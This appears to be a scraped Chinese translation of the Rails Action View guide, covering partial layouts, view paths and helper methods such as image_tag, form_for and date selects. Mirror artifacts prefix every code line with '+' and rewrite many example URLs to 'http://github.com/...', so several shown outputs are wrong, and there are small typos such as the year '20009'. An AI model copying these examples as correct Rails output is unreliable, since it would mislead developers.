布局是渲染 Rails 控制器返回结果时使用的公共视图模板。通常,Rails 应用中会包含多个视图用于渲染不同页面。例如,网站中用户登录后页面的布局,营销或销售页面的布局。用户登录后页面的布局可以包含在多个控制器动作中出现的顶级导航。SaaS 应用的销售页面布局可以包含指向“定价”和“联系我们”页面的顶级导航。不同布局可以有不同的外观和感官。关于布局的更多介绍,请参阅Rails 布局和视图渲染

4 局部布局

应用于局部视图的布局称为局部布局。局部布局和应用于控制器动作的全局布局不一样,但两者的工作方式类似。

比如说我们想在页面中显示文章,并把文章放在 div 标签里。首先,我们新建一个 Article 实例:

+
+Article.create(body: 'Partial Layouts are cool!')
+
+
+
+

show 模板中,我们要在 box 布局中渲染 _article 局部视图:

articles/show.html.erb

+
+<%= render partial: 'article', layout: 'box', locals: { article: @article } %>
+
+
+
+

box 布局只是把 _article 局部视图放在 div 标签里:

articles/_box.html.erb

+
+<div class='box'>
+  <%= yield %>
+</div>
+
+
+
+

请注意,局部布局可以访问传递给 render 方法的局部变量 article。不过,和全局部局不同,局部布局的文件名以下划线开头。

我们还可以直接渲染代码块而不调用 yield 方法。例如,如果不使用 _article 局部视图,我们可以像下面这样编写代码:

articles/show.html.erb

+
+<% render(layout: 'box', locals: { article: @article }) do %>
+  <div>
+    <p><%= article.body %></p>
+  </div>
+<% end %>
+
+
+
+

假设我们使用的 _box 局部布局和前面一样,那么这里模板的渲染结果也会和前面一样。

5 视图路径

在渲染响应时,控制器需要解析不同视图所在的位置。默认情况下,控制器只查找 app/views 文件夹。

我们可以使用 prepend_view_pathappend_view_path 方法分别在查找路径的开头和结尾添加其他位置。

5.1 在开头添加视图路径

例如,当需要把视图放在子域名的不同文件夹中时,我们可以使用下面的代码:

+
+prepend_view_path "app/views/#{request.subdomain}"
+
+
+
+

这样在解析视图时,Action View 会首先查找这个文件夹。

5.2 在末尾添加视图路径

同样,我们可以在查找路径的末尾添加视图路径:

+
+append_view_path "app/views/direct"
+
+
+
+

上面的代码会在查找路径的末尾添加 app/views/direct 文件夹。

6 Action View 提供的辅助方法概述

本节内容仍在完善中,目前并没有列出所有辅助方法。关于辅助方法的完整列表,请参阅 API 文档

本节内容只是对 Action View 中可用辅助方法的简要概述。在阅读本节内容之后,推荐查看 API 文档,文档详细介绍了所有辅助方法。

6.1 AssetTagHelper 模块

AssetTagHelper 模块提供的方法用于生成链接静态资源文件的 HTML 代码,例如链接图像、JavaScript 文件和订阅源的 HTML 代码。

默认情况下,Rails 会链接当前主机 public 文件夹中的静态资源文件。要想链接专用的静态资源文件服务器上的文件,可以设置 Rails 应用配置文件(通常是 config/environments/production.rb 文件)中的 config.action_controller.asset_host 选项。假如静态资源文件服务器的域名是 assets.example.com,我们可以像下面这样设置:

+
+config.action_controller.asset_host = "assets.example.com"
+image_tag("rails.png") # => <img src="http://assets.example.com/images/rails.png" alt="Rails" />
+
+
+
+

auto_discovery_link_tag 方法用于返回链接标签,使浏览器和订阅阅读器可以自动检测 RSS 或 Atom 订阅源。

+
+auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", { title: "RSS Feed" })
+# => <link rel="alternate" type="application/rss+xml" title="RSS Feed" href="http://www.example.com/feed.rss" />
+
+
+
+
6.1.2 image_path 方法

image_path 方法用于计算 app/assets/images 文件夹中图像资源的路径,得到的路径是从根目录开始的完整路径(也就是绝对路径)。image_tag 方法在内部使用 image_path 方法生成图像路径。

+
+image_path("edit.png") # => /assets/edit.png
+
+
+
+

config.assets.digest 选项设置为 true 时,Rails 会为图像资源的文件名添加指纹。

+
+image_path("edit.png") # => /assets/edit-2d1a2db63fc738690021fedb5a65b68e.png
+
+
+
+
6.1.3 image_url 方法

image_url 方法用于计算 app/assets/images 文件夹中图像资源的 URL 地址。image_url 方法在内部调用了 image_path 方法,并把得到的图像资源路径和当前主机或静态资源文件服务器的 URL 地址合并。

+
+image_url("http://github.com/edit.png") # => http://www.example.com/assets/edit.png
+
+
+
+
6.1.4 image_tag 方法

image_tag 方法用于返回 HTML 图像标签。此方法接受图像的完整路径或 app/assets/images 文件夹中图像的文件名作为参数。

+
+image_tag("icon.png") # => <img src="http://github.com/assets/icon.png" alt="Icon" />
+
+
+
+
6.1.5 javascript_include_tag 方法

javascript_include_tag 方法用于返回 HTML 脚本标签。此方法接受 app/assets/javascripts 文件夹中 JavaScript 文件的文件名(.js 后缀可以省略)或 JavaScript 文件的完整路径(绝对路径)作为参数。

+
+javascript_include_tag "common" # => <script src="http://github.com/assets/common.js"></script>
+
+
+
+

如果 Rails 应用不使用 Asset Pipeline,就需要向 javascript_include_tag 方法传递 :defaults 参数来包含 jQuery JavaScript 库。此时,如果 app/assets/javascripts 文件夹中存在 application.js 文件,那么这个文件也会包含到页面中。

+
+javascript_include_tag :defaults
+
+
+
+

通过向 javascript_include_tag 方法传递 :all 参数,可以把 app/assets/javascripts 文件夹下的所有 JavaScript 文件包含到页面中。

+
+javascript_include_tag :all
+
+
+
+

我们还可以把多个 JavaScript 文件缓存为一个文件,这样可以减少下载时的 HTTP 连接数,同时还可以启用 gzip 压缩来提高传输速度。当 ActionController::Base.perform_caching 选项设置为 true 时才会启用缓存,此选项在生产环境下默认为 true,在开发环境下默认为 false

+
+javascript_include_tag :all, cache: true
+# => <script src="http://github.com/javascripts/all.js"></script>
+
+
+
+
6.1.6 javascript_path 方法

javascript_path 方法用于计算 app/assets/javascripts 文件夹中 JavaScript 资源的路径。如果没有指定文件的扩展名,Rails 会自动添加 .jsjavascript_path 方法返回 JavaScript 资源的完整路径(绝对路径)。javascript_include_tag 方法在内部使用 javascript_path 方法生成脚本路径。

+
+javascript_path "common" # => /assets/common.js
+
+
+
+
6.1.7 javascript_url 方法

javascript_url 方法用于计算 app/assets/javascripts 文件夹中 JavaScript 资源的 URL 地址。javascript_url 方法在内部调用了 javascript_path 方法,并把得到的 JavaScript 资源的路径和当前主机或静态资源文件服务器的 URL 地址合并。

+
+javascript_url "common" # => http://www.example.com/assets/common.js
+
+
+
+

stylesheet_link_tag 方法用于返回样式表链接标签。如果没有指定文件的扩展名,Rails 会自动添加 .css

+
+stylesheet_link_tag "application"
+# => <link href="http://github.com/assets/application.css" media="screen" rel="stylesheet" />
+
+
+
+

通过向 stylesheet_link_tag 方法传递 :all 参数,可以把样式表文件夹中的所有样式表包含到页面中。

+
+stylesheet_link_tag :all
+
+
+
+

我们还可以把多个样式表缓存为一个文件,这样可以减少下载时的 HTTP 连接数,同时还可以启用 gzip 压缩来提高传输速度。当 ActionController::Base.perform_caching 选项设置为 true 时才会启用缓存,此选项在生产环境下默认为 true,在开发环境下默认为 false

+
+stylesheet_link_tag :all, cache: true
+# => <link href="http://github.com/assets/all.css" media="screen" rel="stylesheet" />
+
+
+
+
6.1.9 stylesheet_path 方法

stylesheet_path 方法用于计算 app/assets/stylesheets 文件夹中样式表资源的路径。如果没有指定文件的扩展名,Rails 会自动添加 .cssstylesheet_path 方法返回样式表资源的完整路径(绝对路径)。stylesheet_link_tag 方法在内部使用 stylesheet_path 方法生成样式表路径。

+
+stylesheet_path "application" # => /assets/application.css
+
+
+
+
6.1.10 stylesheet_url 方法

stylesheet_url 方法用于计算 app/assets/stylesheets 文件夹中样式表资源的 URL 地址。stylesheet_url 方法在内部调用了 stylesheet_path 方法,并把得到的样式表资源路径和当前主机或静态资源文件服务器的 URL 地址合并。

+
+stylesheet_url "application" # => http://www.example.com/assets/application.css
+
+
+
+

6.2 AtomFeedHelper 模块

6.2.1 atom_feed 方法

通过 atom_feed 辅助方法我们可以轻松创建 Atom 订阅源。下面是一个完整的示例:

config/routes.rb

+
+resources :articles
+
+
+
+

app/controllers/articles_controller.rb

+
+def index
+  @articles = Article.all
+
+  respond_to do |format|
+    format.html
+    format.atom
+  end
+end
+
+
+
+

app/views/articles/index.atom.builder

+
+atom_feed do |feed|
+  feed.title("Articles Index")
+  feed.updated(@articles.first.created_at)
+
+  @articles.each do |article|
+    feed.entry(article) do |entry|
+      entry.title(article.title)
+      entry.content(article.body, type: 'html')
+
+      entry.author do |author|
+        author.name(article.author_name)
+      end
+    end
+  end
+end
+
+
+
+

6.3 BenchmarkHelper 模块

6.3.1 benchmark 方法

benchmark 方法用于测量模板中某个块的执行时间,并把测量结果写入日志。benchmark 方法常用于测量耗时操作或可能的性能瓶颈的执行时间。

+
+<% benchmark "Process data files" do %>
+  <%= expensive_files_operation %>
+<% end %>
+
+
+
+

上面的代码会在日志中写入类似 Process data files (0.34523) 的测量结果,我们可以通过比较执行时间来优化代码。

6.4 CacheHelper 模块

6.4.1 cache 方法

cache 方法用于缓存视图片断而不是整个动作或页面。此方法常用于缓存页面中诸如菜单、新闻主题列表、静态 HTML 片断等内容。cache 方法接受块作为参数,块中包含要缓存的内容。关于 cache 方法的更多介绍,请参阅 AbstractController::Caching::Fragments 模块的文档。

+
+<% cache do %>
+  <%= render "shared/footer" %>
+<% end %>
+
+
+
+

6.5 CaptureHelper 模块

6.5.1 capture 方法

capture 方法用于取出模板的一部分并储存在变量中,然后我们可以在模板或布局中的任何地方使用这个变量。

+
+<% @greeting = capture do %>
+  <p>Welcome! The date and time is <%= Time.now %></p>
+<% end %>
+
+
+
+

可以在模板或布局中的任何地方使用 @greeting 变量。

+
+<html>
+  <head>
+    <title>Welcome!</title>
+  </head>
+  <body>
+    <%= @greeting %>
+  </body>
+</html>
+
+
+
+
6.5.2 content_for 方法

content_for 方法以块的方式把模板内容保存在标识符中,然后我们可以在模板或布局中把这个标识符传递给 yield 方法作为参数来调用所保存的内容。

假如应用拥有标准布局,同时拥有一个特殊页面,这个特殊页面需要包含其他页面都不需要的 JavaScript 脚本。为此我们可以在这个特殊页面中使用 content_for 方法来包含所需的 JavaScript 脚本,而不必增加其他页面的体积。

app/views/layouts/application.html.erb

+
+<html>
+  <head>
+    <title>Welcome!</title>
+    <%= yield :special_script %>
+  </head>
+  <body>
+    <p>Welcome! The date and time is <%= Time.now %></p>
+  </body>
+</html>
+
+
+
+

app/views/articles/special.html.erb

+
+<p>This is a special page.</p>
+
+<% content_for :special_script do %>
+  <script>alert('Hello!')</script>
+<% end %>
+
+
+
+

6.6 DateHelper 模块

6.6.1 date_select 方法

date_select 方法返回年、月、日的选择列表标签,用于设置 date 类型的属性的值。

+
+date_select("article", "published_on")
+
+
+
+
6.6.2 datetime_select 方法

datetime_select 方法返回年、月、日、时、分的选择列表标签,用于设置 datetime 类型的属性的值。

+
+datetime_select("article", "published_on")
+
+
+
+
6.6.3 distance_of_time_in_words 方法

distance_of_time_in_words 方法用于计算两个 Time 对象、Date 对象或秒数的大致时间间隔。把 include_seconds 选项设置为 true 可以得到更精确的时间间隔。

+
+distance_of_time_in_words(Time.now, Time.now + 15.seconds)        # => less than a minute
+distance_of_time_in_words(Time.now, Time.now + 15.seconds, include_seconds: true)  # => less than 20 seconds
+
+
+
+
6.6.4 select_date 方法

select_date 方法返回年、月、日的选择列表标签,并通过 Date 对象来设置默认值。

+
+# 生成一个日期选择列表,默认选中指定的日期(六天以后)
+select_date(Time.today + 6.days)
+
+# 生成一个日期选择列表,默认选中今天(未指定日期)
+select_date()
+
+
+
+
6.6.5 select_datetime 方法

select_datetime 方法返回年、月、日、时、分的选择列表标签,并通过 Datetime 对象来设置默认值。

+
+# 生成一个日期时间选择列表,默认选中指定的日期时间(四天以后)
+select_datetime(Time.now + 4.days)
+
+# 生成一个日期时间选择列表,默认选中今天(未指定日期时间)
+select_datetime()
+
+
+
+
6.6.6 select_day 方法

select_day 方法返回当月全部日子的选择列表标签,如 1 到 31,并把当日设置为默认值。

+
+# 生成一个日子选择列表,默认选中指定的日子
+select_day(Time.today + 2.days)
+
+# 生成一个日子选择列表,默认选中指定数字对应的日子
+select_day(5)
+
+
+
+
6.6.7 select_hour 方法

select_hour 方法返回一天中 24 小时的选择列表标签,即 0 到 23,并把当前小时设置为默认值。

+
+# 生成一个小时选择列表,默认选中指定的小时
+select_hour(Time.now + 6.hours)
+
+
+
+
6.6.8 select_minute 方法

select_minute 方法返回一小时中 60 分钟的选择列表标签,即 0 到 59,并把当前分钟设置为默认值。

+
+# 生成一个分钟选择列表,默认选中指定的分钟
+select_minute(Time.now + 10.minutes)
+
+
+
+
6.6.9 select_month 方法

select_month 方法返回一年中 12 个月的选择列表标签,并把当月设置为默认值。

+
+# 生成一个月份选择列表,默认选中当前月份
+select_month(Date.today)
+
+
+
+
6.6.10 select_second 方法

select_second 方法返回一分钟中 60 秒的选择列表标签,即 0 到 59,并把当前秒设置为默认值。

+
+# 生成一个秒数选择列表,默认选中指定的秒数
+select_second(Time.now + 16.seconds)
+
+
+
+
6.6.11 select_time 方法

select_time 方法返回时、分的选择列表标签,并通过 Time 对象来设置默认值。

+
+# 生成一个时间选择列表,默认选中指定的时间
+select_time(Time.now)
+
+
+
+
6.6.12 select_year 方法

select_year 方法返回当年和前后各五年的选择列表标签,并把当年设置为默认值。可以通过 :start_year:end_year 选项自定义年份范围。

+
+# 选择今天所在年份前后五年的年份选择列表,默认选中当年
+select_year(Date.today)
+
+# 选择一个从 1900 年到 20009 年的年份选择列表,默认选中当年
+select_year(Date.today, start_year: 1900, end_year: 2009)
+
+
+
+
6.6.13 time_ago_in_words 方法

time_ago_in_words 方法和 distance_of_time_in_words 方法类似,区别在于 time_ago_in_words 方法计算的是指定时间到 Time.now 对应的当前时间的时间间隔。

+
+time_ago_in_words(3.minutes.from_now)  # => 3 minutes
+
+
+
+
6.6.14 time_select 方法

time_select 方返回时、分、秒的选择列表标签(其中秒可选),用于设置 time 类型的属性的值。选择的结果作为多个参数赋值给 Active Record 对象。

+
+# 生成一个时间选择标签,通过 POST 发送后存储在提交的属性中的 order 变量中
+time_select("order", "submitted")
+
+
+
+

6.7 DebugHelper 模块

debug 方法返回放在 pre 标签里的 YAML 格式的对象内容。这种审查对象的方式可读性很好。

+
+my_hash = { 'first' => 1, 'second' => 'two', 'third' => [1,2,3] }
+debug(my_hash)
+
+
+
+
+
+<pre class='debug_dump'>---
+first: 1
+second: two
+third:
+- 1
+- 2
+- 3
+</pre>
+
+
+
+

6.8 FormHelper 模块

和仅使用标准 HTML 元素相比,表单辅助方法提供了一组基于模型创建表单的方法,可以大大简化模型的处理过程。表单辅助方法生成表单的 HTML 代码,并提供了用于生成各种输入组件(如文本框、密码框、选择列表等)的 HTML 代码的辅助方法。在提交表单时(用户点击提交按钮或通过 JavaScript 调用 form.submit),表单输入会绑定到 params 对象上并回传给控制器。

表单辅助方法分为两类:一类专门用于处理模型属性,另一类不处理模型属性。本节中介绍的辅助方法都属于前者,后者的例子可参阅 ActionView::Helpers::FormTagHelper 模块的文档。

form_for 辅助方法是 FormHelper 模块中最核心的方法,用于创建处理模型实例的表单。例如,假设我们想为 Person 模型创建实例:

+
+# 注意:要在控制器中创建 @person 变量(例如 @person = Person.new)
+<%= form_for @person, url: { action: "create" } do |f| %>
+  <%= f.text_field :first_name %>
+  <%= f.text_field :last_name %>
+  <%= submit_tag 'Create' %>
+<% end %>
+
+
+
+

上面的代码会生成下面的 HTML:

+
+<form action="http://github.com/people/create" method="post">
+  <input id="person_first_name" name="person[first_name]" type="text" />
+  <input id="person_last_name" name="person[last_name]" type="text" />
+  <input name="commit" type="submit" value="Create" />
+</form>
+
+
+
+

提交表单时创建的 params 对象会像下面这样:

+
+{ "action" => "create", "controller" => "people", "person" => { "first_name" => "William", "last_name" => "Smith" } }
+
+
+
+

params 散列包含了嵌套的 person 值,这个值可以在控制器中通过 params[:person] 访问。

6.8.1 check_box 方法

check_box 方法返回用于处理指定模型属性的复选框标签。

+
+# 假设 @article.validated? 的值是 1
+check_box("article", "validated")
+# => <input type="checkbox" id="article_validated" name="article[validated]" value="1" />
+#    <input name="article[validated]" type="hidden" value="0" />
+
+
+
+
6.8.2 fields_for 方法

form_for 方法类似,fields_for 方法创建用于处理指定模型对象的作用域,区别在于 fields_for 方法不会创建 form 标签。fields_for 方法适用于在同一个表单中指明附加的模型对象。

+
+<%= form_for @person, url: { action: "update" } do |person_form| %>
+  First name: <%= person_form.text_field :first_name %>
+  Last name : <%= person_form.text_field :last_name %>
+
+  <%= fields_for @person.permission do |permission_fields| %>
+    Admin?  : <%= permission_fields.check_box :admin %>
+  <% end %>
+<% end %>
+
+
+
+
6.8.3 file_field 方法

file_field 方法返回用于处理指定模型属性的文件上传组件标签。

+
+file_field(:user, :avatar)
+# => <input type="file" id="user_avatar" name="user[avatar]" />
+
+
+
+
6.8.4 form_for 方法

form_for 方法创建用于处理指定模型对象的表单和作用域,表单的各个组件用于处理模型对象的对应属性。

+
+<%= form_for @article do |f| %>
+  <%= f.label :title, 'Title' %>:
+  <%= f.text_field :title %><br>
+  <%= f.label :body, 'Body' %>:
+  <%= f.text_area :body %><br>
+<% end %>
+
+
+
+
6.8.5 hidden_​​field 方法

hidden_​​field 方法返回用于处理指定模型属性的隐藏输入字段标签。

+
+hidden_field(:user, :token)
+# => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" />
+
+
+
+
6.8.6 label 方法

label 方法返回用于处理指定模型属性的文本框的 label 标签。

+
+label(:article, :title)
+# => <label for="article_title">Title</label>
+
+
+
+
6.8.7 password_field 方法

password_field 方法返回用于处理指定模型属性的密码框标签。

+
+password_field(:login, :pass)
+# => <input type="text" id="login_pass" name="login[pass]" value="#{@login.pass}" />
+
+
+
+
6.8.8 radio_button 方法

radio_button 方法返回用于处理指定模型属性的单选按钮标签。

+
+# 假设 @article.category 的值是“rails”
+radio_button("article", "category", "rails")
+radio_button("article", "category", "java")
+# => <input type="radio" id="article_category_rails" name="article[category]" value="rails" checked="checked" />
+#    <input type="radio" id="article_category_java" name="article[category]" value="java" />
+
+
+
+
6.8.9 text_area 方法

text_area 方法返回用于处理指定模型属性的文本区域标签。

+
+text_area(:comment, :text, size: "20x30")
+# => <textarea cols="20" rows="30" id="comment_text" name="comment[text]">
+#      #{@comment.text}
+#    </textarea>
+
+
+
+
6.8.10 text_field 方法

text_field 方法返回用于处理指定模型属性的文本框标签。

+
+text_field(:article, :title)
+# => <input type="text" id="article_title" name="article[title]" value="#{@article.title}" />
+
+
+
+
6.8.11 email_field 方法

email_field 方法返回用于处理指定模型属性的电子邮件地址输入框标签。

+
+email_field(:user, :email)
+# => <input type="email" id="user_email" name="user[email]" value="#{@user.email}" />
+
+
+
+
6.8.12 url_field 方法

url_field 方法返回用于处理指定模型属性的 URL 地址输入框标签。

+
+url_field(:user, :url)
+# => <input type="url" id="user_url" name="user[url]" value="#{@user.url}" />
+
+
+
+

6.9 FormOptionsHelper 模块

FormOptionsHelper 模块提供了许多方法,用于把不同类型的容器转换为一组选项标签。

6.9.1 collection_select 方法

collection_select 方法返回一个集合的选择列表标签,其中每个集合元素的两个指定方法的返回值分别是每个选项的值和文本。

在下面的示例代码中,我们定义了两个模型:

+
+class Article < ApplicationRecord
+  belongs_to :author
+end
+
+class Author < ApplicationRecord
+  has_many :articles
+  def name_with_initial
+    "#{first_name.first}. #{last_name}"
+  end
+end
+
+
+
+

在下面的示例代码中,collection_select 方法用于生成 Article 模型的实例 @article 的相关作者的选择列表:

+
+collection_select(:article, :author_id, Author.all, :id, :name_with_initial, { prompt: true })
+
+
+
+

如果 @article.author_id 的值为 1,上面的代码会生成下面的 HTML:

+
+<select name="article[author_id]">
+  <option value="">Please select</option>
+  <option value="1" selected="selected">D. Heinemeier Hansson</option>
+  <option value="2">D. Thomas</option>
+  <option value="3">M. Clark</option>
+</select>
+
+
+
+
6.9.2 collection_radio_buttons 方法

collection_radio_buttons 方法返回一个集合的单选按钮标签,其中每个集合元素的两个指定方法的返回值分别是每个选项的值和文本。

在下面的示例代码中,我们定义了两个模型:

+
+class Article < ApplicationRecord
+  belongs_to :author
+end
+
+class Author < ApplicationRecord
+  has_many :articles
+  def name_with_initial
+    "#{first_name.first}. #{last_name}"
+  end
+end
+
+
+
+

在下面的示例代码中,collection_radio_buttons 方法用于生成 Article 模型的实例 @article 的相关作者的单选按钮:

+
+collection_radio_buttons(:article, :author_id, Author.all, :id, :name_with_initial)
+
+
+
+

如果 @article.author_id 的值为 1,上面的代码会生成下面的 HTML:

+
+<input id="article_author_id_1" name="article[author_id]" type="radio" value="1" checked="checked" />
+<label for="article_author_id_1">D. Heinemeier Hansson</label>
+<input id="article_author_id_2" name="article[author_id]" type="radio" value="2" />
+<label for="article_author_id_2">D. Thomas</label>
+<input id="article_author_id_3" name="article[author_id]" type="radio" value="3" />
+<label for="article_author_id_3">M. Clark</label>
+
+
+
+
6.9.3 collection_check_boxes 方法

collection_check_boxes 方法返回一个集合的复选框标签,其中每个集合元素的两个指定方法的返回值分别是每个选项的值和文本。

在下面的示例代码中,我们定义了两个模型:

+
+class Article < ApplicationRecord
+  has_and_belongs_to_many :authors
+end
+
+class Author < ApplicationRecord
+  has_and_belongs_to_many :articles
+  def name_with_initial
+    "#{first_name.first}. #{last_name}"
+  end
+end
+
+
+
+

在下面的示例代码中,collection_check_boxes 方法用于生成 Article 模型的实例 @article 的相关作者的复选框:

+
+collection_check_boxes(:article, :author_ids, Author.all, :id, :name_with_initial)
+
+
+
+

如果 @article.author_ids 的值为 [1],上面的代码会生成下面的 HTML:

+
+<input id="article_author_ids_1" name="article[author_ids][]" type="checkbox" value="1" checked="checked" />
+<label for="article_author_ids_1">D. Heinemeier Hansson</label>
+<input id="article_author_ids_2" name="article[author_ids][]" type="checkbox" value="2" />
+<label for="article_author_ids_2">D. Thomas</label>
+<input id="article_author_ids_3" name="article[author_ids][]" type="checkbox" value="3" />
+<label for="article_author_ids_3">M. Clark</label>
+<input name="article[author_ids][]" type="hidden" value="" />
+
+
+
+
6.9.4 option_groups_from_collection_for_select 方法

options_from_collection_for_select 方法类似,option_groups_from_collection_for_select 方法返回一组选项标签,区别在于使用 option_groups_from_collection_for_select 方法时这些选项会根据模型的关联关系用 optgroup 标签分组。

在下面的示例代码中,我们定义了两个模型:

+
+class Continent < ApplicationRecord
+  has_many :countries
+  # attribs: id, name
+end
+
+class Country < ApplicationRecord
+  belongs_to :continent
+  # attribs: id, name, continent_id
+end
+
+
+
+

示例用法:

+
+option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3)
+
+
+
+

可能的输出结果:

+
+<optgroup label="Africa">
+  <option value="1">Egypt</option>
+  <option value="4">Rwanda</option>
+  ...
+</optgroup>
+<optgroup label="Asia">
+  <option value="3" selected="selected">China</option>
+  <option value="12">India</option>
+  <option value="5">Japan</option>
+  ...
+</optgroup>
+
+
+
+

注意:option_groups_from_collection_for_select 方法只返回 optgroupoption 标签,我们要把这些 optgroupoption 标签放在 select 标签里。

6.9.5 options_for_select 方法

options_for_select 方法接受容器(如散列、数组、可枚举对象、自定义类型)作为参数,返回一组选项标签。

+
+options_for_select([ "VISA", "MasterCard" ])
+# => <option>VISA</option> <option>MasterCard</option>
+
+
+
+

注意:options_for_select 方法只返回 option 标签,我们要把这些 option 标签放在 select 标签里。

6.9.6 options_from_collection_for_select 方法

options_from_collection_for_select 方法通过遍历集合返回一组选项标签,其中每个集合元素的 value_methodtext_method 方法的返回值分别是每个选项的值和文本。

+
+# options_from_collection_for_select(collection, value_method, text_method, selected = nil)
+
+
+
+

在下面的示例代码中,我们遍历 @project.people 集合得到 person 元素,person.idperson.name 方法分别是前面提到的 value_methodtext_method 方法,这两个方法分别返回选项的值和文本:

+
+options_from_collection_for_select(@project.people, "id", "name")
+# => <option value="#{person.id}">#{person.name}</option>
+
+
+
+

注意:options_from_collection_for_select 方法只返回 option 标签,我们要把这些 option 标签放在 select 标签里。

6.9.7 select 方法

select 方法使用指定对象和方法创建选择列表标签。

示例用法:

+
+select("article", "person_id", Person.all.collect { |p| [ p.name, p.id ] }, { include_blank: true })
+
+
+
+

如果 @article.persion_id 的值为 1,上面的代码会生成下面的 HTML:

+
+<select name="article[person_id]">
+  <option value=""></option>
+  <option value="1" selected="selected">David</option>
+  <option value="2">Eileen</option>
+  <option value="3">Rafael</option>
+</select>
+
+
+
+
6.9.8 time_zone_options_for_select 方法

time_zone_options_for_select 方法返回一组选项标签,其中每个选项对应一个时区,这些时区几乎包含了世界上所有的时区。

6.9.9 time_zone_select 方法

time_zone_select 方法返回时区的选择列表标签,其中选项标签是通过 time_zone_options_for_select 方法生成的。

+
+time_zone_select( "user", "time_zone")
+
+
+
+
6.9.10 date_field 方法

date_field 方法返回用于处理指定模型属性的日期输入框标签。

+
+date_field("user", "dob")
+
+
+
+

6.10 FormTagHelper 模块

FormTagHelper 模块提供了许多用于创建表单标签的方法。和 FormHelper 模块不同,FormTagHelper 模块提供的方法不依赖于传递给模板的 Active Record 对象。作为替代,我们可以手动为表单的各个组件的标签提供 namevalue 属性。

6.10.1 check_box_tag 方法

check_box_tag 方法用于创建复选框标签。

+
+check_box_tag 'accept'
+# => <input id="accept" name="accept" type="checkbox" value="1" />
+
+
+
+
6.10.2 field_set_tag 方法

field_set_tag 方法用于创建 fieldset 标签。

+
+<%= field_set_tag do %>
+  <p><%= text_field_tag 'name' %></p>
+<% end %>
+# => <fieldset><p><input id="name" name="name" type="text" /></p></fieldset>
+
+
+
+
6.10.3 file_field_tag 方法

file_field_tag 方法用于创建文件上传组件标签。

+
+<%= form_tag({ action: "post" }, multipart: true) do %>
+  <label for="file">File to Upload</label> <%= file_field_tag "file" %>
+  <%= submit_tag %>
+<% end %>
+
+
+
+

示例输出:

+
+file_field_tag 'attachment'
+# => <input id="attachment" name="attachment" type="file" />
+
+
+
+
6.10.4 form_tag 方法

form_tag 方法用于创建表单标签。和 ActionController::Base#url_for 方法类似,form_tag 方法的第一个参数是 url_for_options 选项,用于说明提交表单的 URL。

+
+<%= form_tag '/articles' do %>
+  <div><%= submit_tag 'Save' %></div>
+<% end %>
+# => <form action="http://github.com/articles" method="post"><div><input type="submit" name="submit" value="Save" /></div></form>
+
+
+
+
6.10.5 hidden_​​field_tag 方法

hidden_​​field_tag 方法用于创建隐藏输入字段标签。隐藏输入字段用于传递因 HTTP 无状态特性而丢失的数据,或不想让用户看到的数据。

+
+hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@'
+# => <input id="token" name="token" type="hidden" value="VUBJKB23UIVI1UU1VOBVI@" />
+
+
+
+
6.10.6 image_submit_tag 方法

image_submit_tag 方法会显示一张图像,点击这张图像会提交表单。

+
+image_submit_tag("login.png")
+# => <input src="http://github.com/images/login.png" type="image" />
+
+
+
+
6.10.7 label_tag 方法

label_tag 方法用于创建 label 标签。

+
+label_tag 'name'
+# => <label for="name">Name</label>
+
+
+
+
6.10.8 password_field_tag 方法

password_field_tag 方法用于创建密码框标签。用户在密码框中输入的密码会被隐藏起来。

+
+password_field_tag 'pass'
+# => <input id="pass" name="pass" type="password" />
+
+
+
+
6.10.9 radio_button_tag 方法

radio_button_tag 方法用于创建单选按钮标签。为一组单选按钮设置相同的 name 属性即可实现对一组选项进行单选。

+
+radio_button_tag 'gender', 'male'
+# => <input id="gender_male" name="gender" type="radio" value="male" />
+
+
+
+
6.10.10 select_tag 方法

select_tag 方法用于创建选择列表标签。

+
+select_tag "people", "<option>David</option>"
+# => <select id="people" name="people"><option>David</option></select>
+
+
+
+
6.10.11 submit_tag 方法

submit_tag 方法用于创建提交按钮标签,并在按钮上显示指定的文本。

+
+submit_tag "Publish this article"
+# => <input name="commit" type="submit" value="Publish this article" />
+
+
+
+
6.10.12 text_area_tag 方法

text_area_tag 方法用于创建文本区域标签。文本区域用于输入较长的文本,如博客帖子或页面描述。

+
+text_area_tag 'article'
+# => <textarea id="article" name="article"></textarea>
+
+
+
+
6.10.13 text_field_tag 方法

text_field_tag 方法用于创建文本框标签。文本框用于输入较短的文本,如用户名或搜索关键词。

+
+text_field_tag 'name'
+# => <input id="name" name="name" type="text" />
+
+
+
+
6.10.14 email_field_tag 方法

email_field_tag 方法用于创建电子邮件地址输入框标签。

+
+email_field_tag 'email'
+# => <input id="email" name="email" type="email" />
+
+
+
+
6.10.15 url_field_tag 方法

url_field_tag 方法用于创建 URL 地址输入框标签。

+
+url_field_tag 'url'
+# => <input id="url" name="url" type="url" />
+
+
+
+
6.10.16 date_field_tag 方法

date_field_tag 方法用于创建日期输入框标签。

+
+date_field_tag "dob"
+# => <input id="dob" name="dob" type="date" />
+
+
+
+

6.11 JavaScriptHelper 模块

JavaScriptHelper 模块提供在视图中使用 JavaScript 的相关方法。

6.11.1 escape_javascript 方法

escape_javascript 方法转义 JavaScript 代码中的回车符、单引号和双引号。

6.11.2 javascript_tag 方法

javascript_tag 方法返回放在 script 标签里的 JavaScript 代码。

+
+javascript_tag "alert('All is good')"
+
+
+
+
+
+<script>
+//<![CDATA[
+alert('All is good')
+//]]>
+</script>
+
+
+
+

6.12 NumberHelper 模块

NumberHelper 模块提供把数字转换为格式化字符串的方法,包括把数字转换为电话号码、货币、百分数、具有指定精度的数字、带有千位分隔符的数字和文件大小的方法。

6.12.1 number_to_currency 方法

number_to_currency 方法用于把数字转换为货币字符串(例如 $13.65)。

+
+number_to_currency(1234567890.50) # => $1,234,567,890.50
+
+
+
+
6.12.2 number_to_human_size 方法

number_to_human_size 方法用于把数字转换为容易阅读的形式,常用于显示文件大小。

+
+number_to_human_size(1234)          # => 1.2 KB
+number_to_human_size(1234567)       # => 1.2 MB
+
+
+
+
6.12.3 number_to_percentage 方法

number_to_percentage 方法用于把数字转换为百分数字符串。

+
+number_to_percentage(100, precision: 0)        # => 100%
+
+
+
+
6.12.4 number_to_phone 方法

number_to_phone 方法用于把数字转换为电话号码(默认为美国)。

+
+number_to_phone(1235551234) # => 123-555-1234
+
+
+
+
6.12.5 number_with_delimiter 方法

